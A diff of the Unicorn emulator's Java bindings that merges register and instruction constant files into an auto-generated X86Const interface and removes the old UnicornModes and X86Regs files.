@ -1,20 +0,0 @@
|
|||||||
package unicorn;
|
|
||||||
|
|
||||||
public interface UnicornModes {
|
|
||||||
public static final int UC_MODE_LITTLE_ENDIAN = 0; // little-endian mode (default mode)
|
|
||||||
public static final int UC_MODE_ARM = 0; // 32-bit ARM
|
|
||||||
public static final int UC_MODE_16 = 1 << 1; // 16-bit mode (X86)
|
|
||||||
public static final int UC_MODE_32 = 1 << 2; // 32-bit mode (X86)
|
|
||||||
public static final int UC_MODE_64 = 1 << 3; // 64-bit mode (X86; PPC)
|
|
||||||
public static final int UC_MODE_THUMB = 1 << 4; // ARM's Thumb mode; including Thumb-2
|
|
||||||
public static final int UC_MODE_MCLASS = 1 << 5; // ARM's Cortex-M series
|
|
||||||
public static final int UC_MODE_V8 = 1 << 6; // ARMv8 A32 encodings for ARM
|
|
||||||
public static final int UC_MODE_MICRO = 1 << 4; // MicroMips mode (MIPS)
|
|
||||||
public static final int UC_MODE_MIPS3 = 1 << 5; // Mips III ISA
|
|
||||||
public static final int UC_MODE_MIPS32R6 = 1 << 6; // Mips32r6 ISA
|
|
||||||
public static final int UC_MODE_V9 = 1 << 4; // SparcV9 mode (Sparc)
|
|
||||||
public static final int UC_MODE_QPX = 1 << 4; // Quad Processing eXtensions mode (PPC)
|
|
||||||
public static final int UC_MODE_BIG_ENDIAN = 1 << 31; // big-endian mode
|
|
||||||
public static final int UC_MODE_MIPS32 = UC_MODE_32; // Mips32 ISA (Mips)
|
|
||||||
public static final int UC_MODE_MIPS64 = UC_MODE_64; // Mips64 ISA (Mips)
|
|
||||||
}
|
|
@ -1,27 +1,257 @@
|
|||||||
/*
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
package unicorn;
|
||||||
|
|
||||||
public interface X86Instructions {
|
public interface X86Const {
|
||||||
|
|
||||||
|
// X86 registers
|
||||||
|
|
||||||
|
public static final int UC_X86_REG_INVALID = 0;
|
||||||
|
public static final int UC_X86_REG_AH = 1;
|
||||||
|
public static final int UC_X86_REG_AL = 2;
|
||||||
|
public static final int UC_X86_REG_AX = 3;
|
||||||
|
public static final int UC_X86_REG_BH = 4;
|
||||||
|
public static final int UC_X86_REG_BL = 5;
|
||||||
|
public static final int UC_X86_REG_BP = 6;
|
||||||
|
public static final int UC_X86_REG_BPL = 7;
|
||||||
|
public static final int UC_X86_REG_BX = 8;
|
||||||
|
public static final int UC_X86_REG_CH = 9;
|
||||||
|
public static final int UC_X86_REG_CL = 10;
|
||||||
|
public static final int UC_X86_REG_CS = 11;
|
||||||
|
public static final int UC_X86_REG_CX = 12;
|
||||||
|
public static final int UC_X86_REG_DH = 13;
|
||||||
|
public static final int UC_X86_REG_DI = 14;
|
||||||
|
public static final int UC_X86_REG_DIL = 15;
|
||||||
|
public static final int UC_X86_REG_DL = 16;
|
||||||
|
public static final int UC_X86_REG_DS = 17;
|
||||||
|
public static final int UC_X86_REG_DX = 18;
|
||||||
|
public static final int UC_X86_REG_EAX = 19;
|
||||||
|
public static final int UC_X86_REG_EBP = 20;
|
||||||
|
public static final int UC_X86_REG_EBX = 21;
|
||||||
|
public static final int UC_X86_REG_ECX = 22;
|
||||||
|
public static final int UC_X86_REG_EDI = 23;
|
||||||
|
public static final int UC_X86_REG_EDX = 24;
|
||||||
|
public static final int UC_X86_REG_EFLAGS = 25;
|
||||||
|
public static final int UC_X86_REG_EIP = 26;
|
||||||
|
public static final int UC_X86_REG_EIZ = 27;
|
||||||
|
public static final int UC_X86_REG_ES = 28;
|
||||||
|
public static final int UC_X86_REG_ESI = 29;
|
||||||
|
public static final int UC_X86_REG_ESP = 30;
|
||||||
|
public static final int UC_X86_REG_FPSW = 31;
|
||||||
|
public static final int UC_X86_REG_FS = 32;
|
||||||
|
public static final int UC_X86_REG_GS = 33;
|
||||||
|
public static final int UC_X86_REG_IP = 34;
|
||||||
|
public static final int UC_X86_REG_RAX = 35;
|
||||||
|
public static final int UC_X86_REG_RBP = 36;
|
||||||
|
public static final int UC_X86_REG_RBX = 37;
|
||||||
|
public static final int UC_X86_REG_RCX = 38;
|
||||||
|
public static final int UC_X86_REG_RDI = 39;
|
||||||
|
public static final int UC_X86_REG_RDX = 40;
|
||||||
|
public static final int UC_X86_REG_RIP = 41;
|
||||||
|
public static final int UC_X86_REG_RIZ = 42;
|
||||||
|
public static final int UC_X86_REG_RSI = 43;
|
||||||
|
public static final int UC_X86_REG_RSP = 44;
|
||||||
|
public static final int UC_X86_REG_SI = 45;
|
||||||
|
public static final int UC_X86_REG_SIL = 46;
|
||||||
|
public static final int UC_X86_REG_SP = 47;
|
||||||
|
public static final int UC_X86_REG_SPL = 48;
|
||||||
|
public static final int UC_X86_REG_SS = 49;
|
||||||
|
public static final int UC_X86_REG_CR0 = 50;
|
||||||
|
public static final int UC_X86_REG_CR1 = 51;
|
||||||
|
public static final int UC_X86_REG_CR2 = 52;
|
||||||
|
public static final int UC_X86_REG_CR3 = 53;
|
||||||
|
public static final int UC_X86_REG_CR4 = 54;
|
||||||
|
public static final int UC_X86_REG_CR5 = 55;
|
||||||
|
public static final int UC_X86_REG_CR6 = 56;
|
||||||
|
public static final int UC_X86_REG_CR7 = 57;
|
||||||
|
public static final int UC_X86_REG_CR8 = 58;
|
||||||
|
public static final int UC_X86_REG_CR9 = 59;
|
||||||
|
public static final int UC_X86_REG_CR10 = 60;
|
||||||
|
public static final int UC_X86_REG_CR11 = 61;
|
||||||
|
public static final int UC_X86_REG_CR12 = 62;
|
||||||
|
public static final int UC_X86_REG_CR13 = 63;
|
||||||
|
public static final int UC_X86_REG_CR14 = 64;
|
||||||
|
public static final int UC_X86_REG_CR15 = 65;
|
||||||
|
public static final int UC_X86_REG_DR0 = 66;
|
||||||
|
public static final int UC_X86_REG_DR1 = 67;
|
||||||
|
public static final int UC_X86_REG_DR2 = 68;
|
||||||
|
public static final int UC_X86_REG_DR3 = 69;
|
||||||
|
public static final int UC_X86_REG_DR4 = 70;
|
||||||
|
public static final int UC_X86_REG_DR5 = 71;
|
||||||
|
public static final int UC_X86_REG_DR6 = 72;
|
||||||
|
public static final int UC_X86_REG_DR7 = 73;
|
||||||
|
public static final int UC_X86_REG_DR8 = 74;
|
||||||
|
public static final int UC_X86_REG_DR9 = 75;
|
||||||
|
public static final int UC_X86_REG_DR10 = 76;
|
||||||
|
public static final int UC_X86_REG_DR11 = 77;
|
||||||
|
public static final int UC_X86_REG_DR12 = 78;
|
||||||
|
public static final int UC_X86_REG_DR13 = 79;
|
||||||
|
public static final int UC_X86_REG_DR14 = 80;
|
||||||
|
public static final int UC_X86_REG_DR15 = 81;
|
||||||
|
public static final int UC_X86_REG_FP0 = 82;
|
||||||
|
public static final int UC_X86_REG_FP1 = 83;
|
||||||
|
public static final int UC_X86_REG_FP2 = 84;
|
||||||
|
public static final int UC_X86_REG_FP3 = 85;
|
||||||
|
public static final int UC_X86_REG_FP4 = 86;
|
||||||
|
public static final int UC_X86_REG_FP5 = 87;
|
||||||
|
public static final int UC_X86_REG_FP6 = 88;
|
||||||
|
public static final int UC_X86_REG_FP7 = 89;
|
||||||
|
public static final int UC_X86_REG_K0 = 90;
|
||||||
|
public static final int UC_X86_REG_K1 = 91;
|
||||||
|
public static final int UC_X86_REG_K2 = 92;
|
||||||
|
public static final int UC_X86_REG_K3 = 93;
|
||||||
|
public static final int UC_X86_REG_K4 = 94;
|
||||||
|
public static final int UC_X86_REG_K5 = 95;
|
||||||
|
public static final int UC_X86_REG_K6 = 96;
|
||||||
|
public static final int UC_X86_REG_K7 = 97;
|
||||||
|
public static final int UC_X86_REG_MM0 = 98;
|
||||||
|
public static final int UC_X86_REG_MM1 = 99;
|
||||||
|
public static final int UC_X86_REG_MM2 = 100;
|
||||||
|
public static final int UC_X86_REG_MM3 = 101;
|
||||||
|
public static final int UC_X86_REG_MM4 = 102;
|
||||||
|
public static final int UC_X86_REG_MM5 = 103;
|
||||||
|
public static final int UC_X86_REG_MM6 = 104;
|
||||||
|
public static final int UC_X86_REG_MM7 = 105;
|
||||||
|
public static final int UC_X86_REG_R8 = 106;
|
||||||
|
public static final int UC_X86_REG_R9 = 107;
|
||||||
|
public static final int UC_X86_REG_R10 = 108;
|
||||||
|
public static final int UC_X86_REG_R11 = 109;
|
||||||
|
public static final int UC_X86_REG_R12 = 110;
|
||||||
|
public static final int UC_X86_REG_R13 = 111;
|
||||||
|
public static final int UC_X86_REG_R14 = 112;
|
||||||
|
public static final int UC_X86_REG_R15 = 113;
|
||||||
|
public static final int UC_X86_REG_ST0 = 114;
|
||||||
|
public static final int UC_X86_REG_ST1 = 115;
|
||||||
|
public static final int UC_X86_REG_ST2 = 116;
|
||||||
|
public static final int UC_X86_REG_ST3 = 117;
|
||||||
|
public static final int UC_X86_REG_ST4 = 118;
|
||||||
|
public static final int UC_X86_REG_ST5 = 119;
|
||||||
|
public static final int UC_X86_REG_ST6 = 120;
|
||||||
|
public static final int UC_X86_REG_ST7 = 121;
|
||||||
|
public static final int UC_X86_REG_XMM0 = 122;
|
||||||
|
public static final int UC_X86_REG_XMM1 = 123;
|
||||||
|
public static final int UC_X86_REG_XMM2 = 124;
|
||||||
|
public static final int UC_X86_REG_XMM3 = 125;
|
||||||
|
public static final int UC_X86_REG_XMM4 = 126;
|
||||||
|
public static final int UC_X86_REG_XMM5 = 127;
|
||||||
|
public static final int UC_X86_REG_XMM6 = 128;
|
||||||
|
public static final int UC_X86_REG_XMM7 = 129;
|
||||||
|
public static final int UC_X86_REG_XMM8 = 130;
|
||||||
|
public static final int UC_X86_REG_XMM9 = 131;
|
||||||
|
public static final int UC_X86_REG_XMM10 = 132;
|
||||||
|
public static final int UC_X86_REG_XMM11 = 133;
|
||||||
|
public static final int UC_X86_REG_XMM12 = 134;
|
||||||
|
public static final int UC_X86_REG_XMM13 = 135;
|
||||||
|
public static final int UC_X86_REG_XMM14 = 136;
|
||||||
|
public static final int UC_X86_REG_XMM15 = 137;
|
||||||
|
public static final int UC_X86_REG_XMM16 = 138;
|
||||||
|
public static final int UC_X86_REG_XMM17 = 139;
|
||||||
|
public static final int UC_X86_REG_XMM18 = 140;
|
||||||
|
public static final int UC_X86_REG_XMM19 = 141;
|
||||||
|
public static final int UC_X86_REG_XMM20 = 142;
|
||||||
|
public static final int UC_X86_REG_XMM21 = 143;
|
||||||
|
public static final int UC_X86_REG_XMM22 = 144;
|
||||||
|
public static final int UC_X86_REG_XMM23 = 145;
|
||||||
|
public static final int UC_X86_REG_XMM24 = 146;
|
||||||
|
public static final int UC_X86_REG_XMM25 = 147;
|
||||||
|
public static final int UC_X86_REG_XMM26 = 148;
|
||||||
|
public static final int UC_X86_REG_XMM27 = 149;
|
||||||
|
public static final int UC_X86_REG_XMM28 = 150;
|
||||||
|
public static final int UC_X86_REG_XMM29 = 151;
|
||||||
|
public static final int UC_X86_REG_XMM30 = 152;
|
||||||
|
public static final int UC_X86_REG_XMM31 = 153;
|
||||||
|
public static final int UC_X86_REG_YMM0 = 154;
|
||||||
|
public static final int UC_X86_REG_YMM1 = 155;
|
||||||
|
public static final int UC_X86_REG_YMM2 = 156;
|
||||||
|
public static final int UC_X86_REG_YMM3 = 157;
|
||||||
|
public static final int UC_X86_REG_YMM4 = 158;
|
||||||
|
public static final int UC_X86_REG_YMM5 = 159;
|
||||||
|
public static final int UC_X86_REG_YMM6 = 160;
|
||||||
|
public static final int UC_X86_REG_YMM7 = 161;
|
||||||
|
public static final int UC_X86_REG_YMM8 = 162;
|
||||||
|
public static final int UC_X86_REG_YMM9 = 163;
|
||||||
|
public static final int UC_X86_REG_YMM10 = 164;
|
||||||
|
public static final int UC_X86_REG_YMM11 = 165;
|
||||||
|
public static final int UC_X86_REG_YMM12 = 166;
|
||||||
|
public static final int UC_X86_REG_YMM13 = 167;
|
||||||
|
public static final int UC_X86_REG_YMM14 = 168;
|
||||||
|
public static final int UC_X86_REG_YMM15 = 169;
|
||||||
|
public static final int UC_X86_REG_YMM16 = 170;
|
||||||
|
public static final int UC_X86_REG_YMM17 = 171;
|
||||||
|
public static final int UC_X86_REG_YMM18 = 172;
|
||||||
|
public static final int UC_X86_REG_YMM19 = 173;
|
||||||
|
public static final int UC_X86_REG_YMM20 = 174;
|
||||||
|
public static final int UC_X86_REG_YMM21 = 175;
|
||||||
|
public static final int UC_X86_REG_YMM22 = 176;
|
||||||
|
public static final int UC_X86_REG_YMM23 = 177;
|
||||||
|
public static final int UC_X86_REG_YMM24 = 178;
|
||||||
|
public static final int UC_X86_REG_YMM25 = 179;
|
||||||
|
public static final int UC_X86_REG_YMM26 = 180;
|
||||||
|
public static final int UC_X86_REG_YMM27 = 181;
|
||||||
|
public static final int UC_X86_REG_YMM28 = 182;
|
||||||
|
public static final int UC_X86_REG_YMM29 = 183;
|
||||||
|
public static final int UC_X86_REG_YMM30 = 184;
|
||||||
|
public static final int UC_X86_REG_YMM31 = 185;
|
||||||
|
public static final int UC_X86_REG_ZMM0 = 186;
|
||||||
|
public static final int UC_X86_REG_ZMM1 = 187;
|
||||||
|
public static final int UC_X86_REG_ZMM2 = 188;
|
||||||
|
public static final int UC_X86_REG_ZMM3 = 189;
|
||||||
|
public static final int UC_X86_REG_ZMM4 = 190;
|
||||||
|
public static final int UC_X86_REG_ZMM5 = 191;
|
||||||
|
public static final int UC_X86_REG_ZMM6 = 192;
|
||||||
|
public static final int UC_X86_REG_ZMM7 = 193;
|
||||||
|
public static final int UC_X86_REG_ZMM8 = 194;
|
||||||
|
public static final int UC_X86_REG_ZMM9 = 195;
|
||||||
|
public static final int UC_X86_REG_ZMM10 = 196;
|
||||||
|
public static final int UC_X86_REG_ZMM11 = 197;
|
||||||
|
public static final int UC_X86_REG_ZMM12 = 198;
|
||||||
|
public static final int UC_X86_REG_ZMM13 = 199;
|
||||||
|
public static final int UC_X86_REG_ZMM14 = 200;
|
||||||
|
public static final int UC_X86_REG_ZMM15 = 201;
|
||||||
|
public static final int UC_X86_REG_ZMM16 = 202;
|
||||||
|
public static final int UC_X86_REG_ZMM17 = 203;
|
||||||
|
public static final int UC_X86_REG_ZMM18 = 204;
|
||||||
|
public static final int UC_X86_REG_ZMM19 = 205;
|
||||||
|
public static final int UC_X86_REG_ZMM20 = 206;
|
||||||
|
public static final int UC_X86_REG_ZMM21 = 207;
|
||||||
|
public static final int UC_X86_REG_ZMM22 = 208;
|
||||||
|
public static final int UC_X86_REG_ZMM23 = 209;
|
||||||
|
public static final int UC_X86_REG_ZMM24 = 210;
|
||||||
|
public static final int UC_X86_REG_ZMM25 = 211;
|
||||||
|
public static final int UC_X86_REG_ZMM26 = 212;
|
||||||
|
public static final int UC_X86_REG_ZMM27 = 213;
|
||||||
|
public static final int UC_X86_REG_ZMM28 = 214;
|
||||||
|
public static final int UC_X86_REG_ZMM29 = 215;
|
||||||
|
public static final int UC_X86_REG_ZMM30 = 216;
|
||||||
|
public static final int UC_X86_REG_ZMM31 = 217;
|
||||||
|
public static final int UC_X86_REG_R8B = 218;
|
||||||
|
public static final int UC_X86_REG_R9B = 219;
|
||||||
|
public static final int UC_X86_REG_R10B = 220;
|
||||||
|
public static final int UC_X86_REG_R11B = 221;
|
||||||
|
public static final int UC_X86_REG_R12B = 222;
|
||||||
|
public static final int UC_X86_REG_R13B = 223;
|
||||||
|
public static final int UC_X86_REG_R14B = 224;
|
||||||
|
public static final int UC_X86_REG_R15B = 225;
|
||||||
|
public static final int UC_X86_REG_R8D = 226;
|
||||||
|
public static final int UC_X86_REG_R9D = 227;
|
||||||
|
public static final int UC_X86_REG_R10D = 228;
|
||||||
|
public static final int UC_X86_REG_R11D = 229;
|
||||||
|
public static final int UC_X86_REG_R12D = 230;
|
||||||
|
public static final int UC_X86_REG_R13D = 231;
|
||||||
|
public static final int UC_X86_REG_R14D = 232;
|
||||||
|
public static final int UC_X86_REG_R15D = 233;
|
||||||
|
public static final int UC_X86_REG_R8W = 234;
|
||||||
|
public static final int UC_X86_REG_R9W = 235;
|
||||||
|
public static final int UC_X86_REG_R10W = 236;
|
||||||
|
public static final int UC_X86_REG_R11W = 237;
|
||||||
|
public static final int UC_X86_REG_R12W = 238;
|
||||||
|
public static final int UC_X86_REG_R13W = 239;
|
||||||
|
public static final int UC_X86_REG_R14W = 240;
|
||||||
|
public static final int UC_X86_REG_R15W = 241;
|
||||||
|
public static final int UC_X86_REG_ENDING = 242;
|
||||||
|
|
||||||
|
// X86 instructions
|
||||||
|
|
||||||
public static final int UC_X86_INS_INVALID = 0;
|
public static final int UC_X86_INS_INVALID = 0;
|
||||||
public static final int UC_X86_INS_AAA = 1;
|
public static final int UC_X86_INS_AAA = 1;
|
||||||
public static final int UC_X86_INS_AAD = 2;
|
public static final int UC_X86_INS_AAD = 2;
|
||||||
@ -1361,4 +1591,5 @@ public interface X86Instructions {
|
|||||||
public static final int UC_X86_INS_FDISI8087_NOP = 1336;
|
public static final int UC_X86_INS_FDISI8087_NOP = 1336;
|
||||||
public static final int UC_X86_INS_FENI8087_NOP = 1337;
|
public static final int UC_X86_INS_FENI8087_NOP = 1337;
|
||||||
public static final int UC_X86_INS_ENDING = 1338;
|
public static final int UC_X86_INS_ENDING = 1338;
|
||||||
|
|
||||||
}
|
}
|
@ -1,268 +0,0 @@
|
|||||||
/*
|
|
||||||
|
|
||||||
Java bindings for the Unicorn Emulator Engine
|
|
||||||
|
|
||||||
Copyright(c) 2015 Chris Eagle
|
|
||||||
|
|
||||||
This program is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU General Public License
|
|
||||||
version 2 as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
|
||||||
|
|
||||||
*/
|
|
||||||
|
|
||||||
package unicorn;
|
|
||||||
|
|
||||||
public interface X86Regs {
|
|
||||||
public static final int UC_X86_REG_INVALID = 0;
|
|
||||||
public static final int UC_X86_REG_AH = 1;
|
|
||||||
public static final int UC_X86_REG_AL = 2;
|
|
||||||
public static final int UC_X86_REG_AX = 3;
|
|
||||||
public static final int UC_X86_REG_BH = 4;
|
|
||||||
public static final int UC_X86_REG_BL = 5;
|
|
||||||
public static final int UC_X86_REG_BP = 6;
|
|
||||||
public static final int UC_X86_REG_BPL = 7;
|
|
||||||
public static final int UC_X86_REG_BX = 8;
|
|
||||||
public static final int UC_X86_REG_CH = 9;
|
|
||||||
public static final int UC_X86_REG_CL = 10;
|
|
||||||
public static final int UC_X86_REG_CS = 11;
|
|
||||||
public static final int UC_X86_REG_CX = 12;
|
|
||||||
public static final int UC_X86_REG_DH = 13;
|
|
||||||
public static final int UC_X86_REG_DI = 14;
|
|
||||||
public static final int UC_X86_REG_DIL = 15;
|
|
||||||
public static final int UC_X86_REG_DL = 16;
|
|
||||||
public static final int UC_X86_REG_DS = 17;
|
|
||||||
public static final int UC_X86_REG_DX = 18;
|
|
||||||
public static final int UC_X86_REG_EAX = 19;
|
|
||||||
public static final int UC_X86_REG_EBP = 20;
|
|
||||||
public static final int UC_X86_REG_EBX = 21;
|
|
||||||
public static final int UC_X86_REG_ECX = 22;
|
|
||||||
public static final int UC_X86_REG_EDI = 23;
|
|
||||||
public static final int UC_X86_REG_EDX = 24;
|
|
||||||
public static final int UC_X86_REG_EFLAGS = 25;
|
|
||||||
public static final int UC_X86_REG_EIP = 26;
|
|
||||||
public static final int UC_X86_REG_EIZ = 27;
|
|
||||||
public static final int UC_X86_REG_ES = 28;
|
|
||||||
public static final int UC_X86_REG_ESI = 29;
|
|
||||||
public static final int UC_X86_REG_ESP = 30;
|
|
||||||
public static final int UC_X86_REG_FPSW = 31;
|
|
||||||
public static final int UC_X86_REG_FS = 32;
|
|
||||||
public static final int UC_X86_REG_GS = 33;
|
|
||||||
public static final int UC_X86_REG_IP = 34;
|
|
||||||
public static final int UC_X86_REG_RAX = 35;
|
|
||||||
public static final int UC_X86_REG_RBP = 36;
|
|
||||||
public static final int UC_X86_REG_RBX = 37;
|
|
||||||
public static final int UC_X86_REG_RCX = 38;
|
|
||||||
public static final int UC_X86_REG_RDI = 39;
|
|
||||||
public static final int UC_X86_REG_RDX = 40;
|
|
||||||
public static final int UC_X86_REG_RIP = 41;
|
|
||||||
public static final int UC_X86_REG_RIZ = 42;
|
|
||||||
public static final int UC_X86_REG_RSI = 43;
|
|
||||||
public static final int UC_X86_REG_RSP = 44;
|
|
||||||
public static final int UC_X86_REG_SI = 45;
|
|
||||||
public static final int UC_X86_REG_SIL = 46;
|
|
||||||
public static final int UC_X86_REG_SP = 47;
|
|
||||||
public static final int UC_X86_REG_SPL = 48;
|
|
||||||
public static final int UC_X86_REG_SS = 49;
|
|
||||||
public static final int UC_X86_REG_CR0 = 50;
|
|
||||||
public static final int UC_X86_REG_CR1 = 51;
|
|
||||||
public static final int UC_X86_REG_CR2 = 52;
|
|
||||||
public static final int UC_X86_REG_CR3 = 53;
|
|
||||||
public static final int UC_X86_REG_CR4 = 54;
|
|
||||||
public static final int UC_X86_REG_CR5 = 55;
|
|
||||||
public static final int UC_X86_REG_CR6 = 56;
|
|
||||||
public static final int UC_X86_REG_CR7 = 57;
|
|
||||||
public static final int UC_X86_REG_CR8 = 58;
|
|
||||||
public static final int UC_X86_REG_CR9 = 59;
|
|
||||||
public static final int UC_X86_REG_CR10 = 60;
|
|
||||||
public static final int UC_X86_REG_CR11 = 61;
|
|
||||||
public static final int UC_X86_REG_CR12 = 62;
|
|
||||||
public static final int UC_X86_REG_CR13 = 63;
|
|
||||||
public static final int UC_X86_REG_CR14 = 64;
|
|
||||||
public static final int UC_X86_REG_CR15 = 65;
|
|
||||||
public static final int UC_X86_REG_DR0 = 66;
|
|
||||||
public static final int UC_X86_REG_DR1 = 67;
|
|
||||||
public static final int UC_X86_REG_DR2 = 68;
|
|
||||||
public static final int UC_X86_REG_DR3 = 69;
|
|
||||||
public static final int UC_X86_REG_DR4 = 70;
|
|
||||||
public static final int UC_X86_REG_DR5 = 71;
|
|
||||||
public static final int UC_X86_REG_DR6 = 72;
|
|
||||||
public static final int UC_X86_REG_DR7 = 73;
|
|
||||||
public static final int UC_X86_REG_DR8 = 74;
|
|
||||||
public static final int UC_X86_REG_DR9 = 75;
|
|
||||||
public static final int UC_X86_REG_DR10 = 76;
|
|
||||||
public static final int UC_X86_REG_DR11 = 77;
|
|
||||||
public static final int UC_X86_REG_DR12 = 78;
|
|
||||||
public static final int UC_X86_REG_DR13 = 79;
|
|
||||||
public static final int UC_X86_REG_DR14 = 80;
|
|
||||||
public static final int UC_X86_REG_DR15 = 81;
|
|
||||||
public static final int UC_X86_REG_FP0 = 82;
|
|
||||||
public static final int UC_X86_REG_FP1 = 83;
|
|
||||||
public static final int UC_X86_REG_FP2 = 84;
|
|
||||||
public static final int UC_X86_REG_FP3 = 85;
|
|
||||||
public static final int UC_X86_REG_FP4 = 86;
|
|
||||||
public static final int UC_X86_REG_FP5 = 87;
|
|
||||||
public static final int UC_X86_REG_FP6 = 88;
|
|
||||||
public static final int UC_X86_REG_FP7 = 89;
|
|
||||||
public static final int UC_X86_REG_K0 = 90;
|
|
||||||
public static final int UC_X86_REG_K1 = 91;
|
|
||||||
public static final int UC_X86_REG_K2 = 92;
|
|
||||||
public static final int UC_X86_REG_K3 = 93;
|
|
||||||
public static final int UC_X86_REG_K4 = 94;
|
|
||||||
public static final int UC_X86_REG_K5 = 95;
|
|
||||||
public static final int UC_X86_REG_K6 = 96;
|
|
||||||
public static final int UC_X86_REG_K7 = 97;
|
|
||||||
public static final int UC_X86_REG_MM0 = 98;
|
|
||||||
public static final int UC_X86_REG_MM1 = 99;
|
|
||||||
public static final int UC_X86_REG_MM2 = 100;
|
|
||||||
public static final int UC_X86_REG_MM3 = 101;
|
|
||||||
public static final int UC_X86_REG_MM4 = 102;
|
|
||||||
public static final int UC_X86_REG_MM5 = 103;
|
|
||||||
public static final int UC_X86_REG_MM6 = 104;
|
|
||||||
public static final int UC_X86_REG_MM7 = 105;
|
|
||||||
public static final int UC_X86_REG_R8 = 106;
|
|
||||||
public static final int UC_X86_REG_R9 = 107;
|
|
||||||
public static final int UC_X86_REG_R10 = 108;
|
|
||||||
public static final int UC_X86_REG_R11 = 109;
|
|
||||||
public static final int UC_X86_REG_R12 = 110;
|
|
||||||
public static final int UC_X86_REG_R13 = 111;
|
|
||||||
public static final int UC_X86_REG_R14 = 112;
|
|
||||||
public static final int UC_X86_REG_R15 = 113;
|
|
||||||
public static final int UC_X86_REG_ST0 = 114;
|
|
||||||
public static final int UC_X86_REG_ST1 = 115;
|
|
||||||
public static final int UC_X86_REG_ST2 = 116;
|
|
||||||
public static final int UC_X86_REG_ST3 = 117;
|
|
||||||
public static final int UC_X86_REG_ST4 = 118;
|
|
||||||
public static final int UC_X86_REG_ST5 = 119;
|
|
||||||
public static final int UC_X86_REG_ST6 = 120;
|
|
||||||
public static final int UC_X86_REG_ST7 = 121;
|
|
||||||
public static final int UC_X86_REG_XMM0 = 122;
|
|
||||||
public static final int UC_X86_REG_XMM1 = 123;
|
|
||||||
public static final int UC_X86_REG_XMM2 = 124;
|
|
||||||
public static final int UC_X86_REG_XMM3 = 125;
|
|
||||||
public static final int UC_X86_REG_XMM4 = 126;
|
|
||||||
public static final int UC_X86_REG_XMM5 = 127;
|
|
||||||
public static final int UC_X86_REG_XMM6 = 128;
|
|
||||||
public static final int UC_X86_REG_XMM7 = 129;
|
|
||||||
public static final int UC_X86_REG_XMM8 = 130;
|
|
||||||
public static final int UC_X86_REG_XMM9 = 131;
|
|
||||||
public static final int UC_X86_REG_XMM10 = 132;
|
|
||||||
public static final int UC_X86_REG_XMM11 = 133;
|
|
||||||
public static final int UC_X86_REG_XMM12 = 134;
|
|
||||||
public static final int UC_X86_REG_XMM13 = 135;
|
|
||||||
public static final int UC_X86_REG_XMM14 = 136;
|
|
||||||
public static final int UC_X86_REG_XMM15 = 137;
|
|
||||||
public static final int UC_X86_REG_XMM16 = 138;
|
|
||||||
public static final int UC_X86_REG_XMM17 = 139;
|
|
||||||
public static final int UC_X86_REG_XMM18 = 140;
|
|
||||||
public static final int UC_X86_REG_XMM19 = 141;
|
|
||||||
public static final int UC_X86_REG_XMM20 = 142;
|
|
||||||
public static final int UC_X86_REG_XMM21 = 143;
|
|
||||||
public static final int UC_X86_REG_XMM22 = 144;
|
|
||||||
public static final int UC_X86_REG_XMM23 = 145;
|
|
||||||
public static final int UC_X86_REG_XMM24 = 146;
|
|
||||||
public static final int UC_X86_REG_XMM25 = 147;
|
|
||||||
public static final int UC_X86_REG_XMM26 = 148;
|
|
||||||
public static final int UC_X86_REG_XMM27 = 149;
|
|
||||||
public static final int UC_X86_REG_XMM28 = 150;
|
|
||||||
public static final int UC_X86_REG_XMM29 = 151;
|
|
||||||
public static final int UC_X86_REG_XMM30 = 152;
|
|
||||||
public static final int UC_X86_REG_XMM31 = 153;
|
|
||||||
public static final int UC_X86_REG_YMM0 = 154;
|
|
||||||
public static final int UC_X86_REG_YMM1 = 155;
|
|
||||||
public static final int UC_X86_REG_YMM2 = 156;
|
|
||||||
public static final int UC_X86_REG_YMM3 = 157;
|
|
||||||
public static final int UC_X86_REG_YMM4 = 158;
|
|
||||||
public static final int UC_X86_REG_YMM5 = 159;
|
|
||||||
public static final int UC_X86_REG_YMM6 = 160;
|
|
||||||
public static final int UC_X86_REG_YMM7 = 161;
|
|
||||||
public static final int UC_X86_REG_YMM8 = 162;
|
|
||||||
public static final int UC_X86_REG_YMM9 = 163;
|
|
||||||
public static final int UC_X86_REG_YMM10 = 164;
|
|
||||||
public static final int UC_X86_REG_YMM11 = 165;
|
|
||||||
public static final int UC_X86_REG_YMM12 = 166;
|
|
||||||
public static final int UC_X86_REG_YMM13 = 167;
|
|
||||||
public static final int UC_X86_REG_YMM14 = 168;
|
|
||||||
public static final int UC_X86_REG_YMM15 = 169;
|
|
||||||
public static final int UC_X86_REG_YMM16 = 170;
|
|
||||||
public static final int UC_X86_REG_YMM17 = 171;
|
|
||||||
public static final int UC_X86_REG_YMM18 = 172;
|
|
||||||
public static final int UC_X86_REG_YMM19 = 173;
|
|
||||||
public static final int UC_X86_REG_YMM20 = 174;
|
|
||||||
public static final int UC_X86_REG_YMM21 = 175;
|
|
||||||
public static final int UC_X86_REG_YMM22 = 176;
|
|
||||||
public static final int UC_X86_REG_YMM23 = 177;
|
|
||||||
public static final int UC_X86_REG_YMM24 = 178;
|
|
||||||
public static final int UC_X86_REG_YMM25 = 179;
|
|
||||||
